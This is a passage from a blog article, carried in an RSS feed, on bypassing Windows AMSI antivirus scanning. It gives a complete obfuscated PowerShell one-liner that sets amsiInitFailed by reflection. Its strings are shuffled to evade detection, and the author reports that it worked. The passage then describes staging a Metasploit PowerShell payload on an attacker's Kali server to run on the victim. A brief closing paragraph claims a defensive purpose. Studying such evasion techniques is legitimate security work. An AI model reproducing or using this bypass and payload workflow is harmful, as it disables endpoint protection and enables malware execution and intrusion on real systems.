<p><img loading="lazy" decoding="async" class="alignnone wp-image-71131" src="https://anonyviet.com/wp-content/uploads/2024/11/word-image-71129-2.png" alt="bypass antivirus windows" width="1372" height="346" srcset="https://anonyviet.com/wp-content/uploads/2024/11/word-image-71129-2.png 1372w, https://anonyviet.com/wp-content/uploads/2024/11/word-image-71129-2-300x76.png 300w, https://anonyviet.com/wp-content/uploads/2024/11/word-image-71129-2-1024x258.png 1024w, https://anonyviet.com/wp-content/uploads/2024/11/word-image-71129-2-768x194.png 768w, https://anonyviet.com/wp-content/uploads/2024/11/word-image-71129-2-750x189.png 750w, https://anonyviet.com/wp-content/uploads/2024/11/word-image-71129-2-1140x287.png 1140w" sizes="auto, (max-width: 1372px) 100vw, 1372px"/></p>
<p>So how can I still execute that Powershell script? It&#39;s simple, I will scramble that code. I used a tool called <a target="_blank" href="https://en.anonyviet.com/next-link/?url=https%3A%2F%2Fgithub.com%2FRythmStick%2FAMSITrigger" class="ext-link" rel="external nofollow noopener" onclick="this.target='_blank';">AmsiTrigger</a> Developed by RythmStick, this tool helped me find &#8220;sensitive&#8221; parts in the AMSI Bypass code.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-71132" src="https://anonyviet.com/wp-content/uploads/2024/11/a-computer-screen-with-text-and-images-descriptio.png" alt="Bypass AMSI windows" width="875" height="534" srcset="https://anonyviet.com/wp-content/uploads/2024/11/a-computer-screen-with-text-and-images-descriptio.png 875w, https://anonyviet.com/wp-content/uploads/2024/11/a-computer-screen-with-text-and-images-descriptio-300x183.png 300w, https://anonyviet.com/wp-content/uploads/2024/11/a-computer-screen-with-text-and-images-descriptio-768x469.png 768w, https://anonyviet.com/wp-content/uploads/2024/11/a-computer-screen-with-text-and-images-descriptio-750x458.png 750w" sizes="auto, (max-width: 875px) 100vw, 875px"/></p>
<p>Now I will change the variable name, shuffle the strings that AmsiTrigger provided in the code, and here is the scrambled code:</p>
<p><code>$m1='A';$m3='i';$m2='ms';$m=$m1+$m2+$m3;$a1='am';$a2='si';$a3='Ini';$a4='tFa';$a5='il';$a6='ed';$a=$a1+$a2+$a3+$a4+$a5+$a6;$b1='No';$b2='nPu';$b3='bli';$b4='c,St';$b5='at';$b6='ic';$b=$b1+$b2+$b3+$b4+$b5+$b6;$ex=$null;$extra1=</code>[Ref];$extra2=$extra1.Assembly;$extra3=$extra2.GetType(&#39;System.Management.Automation.&#39;+$m+&#39;U&#39;+&#39;tils&#39;);$test=$extra3.GetField($a,$b );$test.SetValue($ex,$true)</p>
<p>After shuffling, the code was executed successfully!</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-71133" src="https://anonyviet.com/wp-content/uploads/2024/11/word-image-71129-4.png" alt="code encryption" width="600" height="75" srcset="https://anonyviet.com/wp-content/uploads/2024/11/word-image-71129-4.png 600w, https://anonyviet.com/wp-content/uploads/2024/11/word-image-71129-4-300x38.png 300w" sizes="auto, (max-width: 600px) 100vw, 600px"/></p>
<p>Everything seems to be fine, now let&#39;s try executing some malicious code. I will create Metasploit&#39;s Powershell payload called meter.ps1, then open a server on the attacker&#39;s side, Kali Linux, to save it. Store this file</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-71134" src="https://anonyviet.com/wp-content/uploads/2024/11/word-image-71129-5.png" alt="powershell messed up the code" width="1590" height="382" srcset="https://anonyviet.com/wp-content/uploads/2024/11/word-image-71129-5.png 1590w, https://anonyviet.com/wp-content/uploads/2024/11/word-image-71129-5-300x72.png 300w, https://anonyviet.com/wp-content/uploads/2024/11/word-image-71129-5-1024x246.png 1024w, https://anonyviet.com/wp-content/uploads/2024/11/word-image-71129-5-768x185.png 768w, https://anonyviet.com/wp-content/uploads/2024/11/word-image-71129-5-1536x369.png 1536w, https://anonyviet.com/wp-content/uploads/2024/11/word-image-71129-5-750x180.png 750w, https://anonyviet.com/wp-content/uploads/2024/11/word-image-71129-5-1140x274.png 1140w" sizes="auto, (max-width: 1590px) 100vw, 1590px"/></p>
<h3 id="ftoc-sau-day-la-video-demo" class="ftwp-heading">Here is the Demo video</h3>
<p><iframe loading="lazy" class="wp-embedded-content" sandbox="allow-scripts" security="restricted" title="DemoAmsiBypass" src="https://streamable.com/o/4pewfe#?secret=nC1Bay56Q2" data-secret="nC1Bay56Q2" frameborder="0" scrolling="no" width="1278" height="684"></iframe></p>
<p>AMSI serves as an essential layer of defense on Windows, but as we&#39;ve seen, there are methods to get around it. Applying encryption, obfuscation, and direct manipulation of internal fields can help malicious code avoid detection, posing a significant challenge for security solutions.</p>
<p>By studying AMSI and bypass techniques, we can be better prepared against threats and secure our systems more effectively. For cybersecurity professionals, understanding these techniques not only strengthens defenses but also improves the ability to detect and respond to increasingly complex cyber attacks.</p>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://en.anonyviet.com/bypass-amsi-and-execute-malicious-code-on-windows/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<media:content url="https://anonyviet.com/wp-content/uploads/2024/11/word-image-71129-6.jpeg" medium="image"></media:content>
            	</item>
	</channel>
</rss>
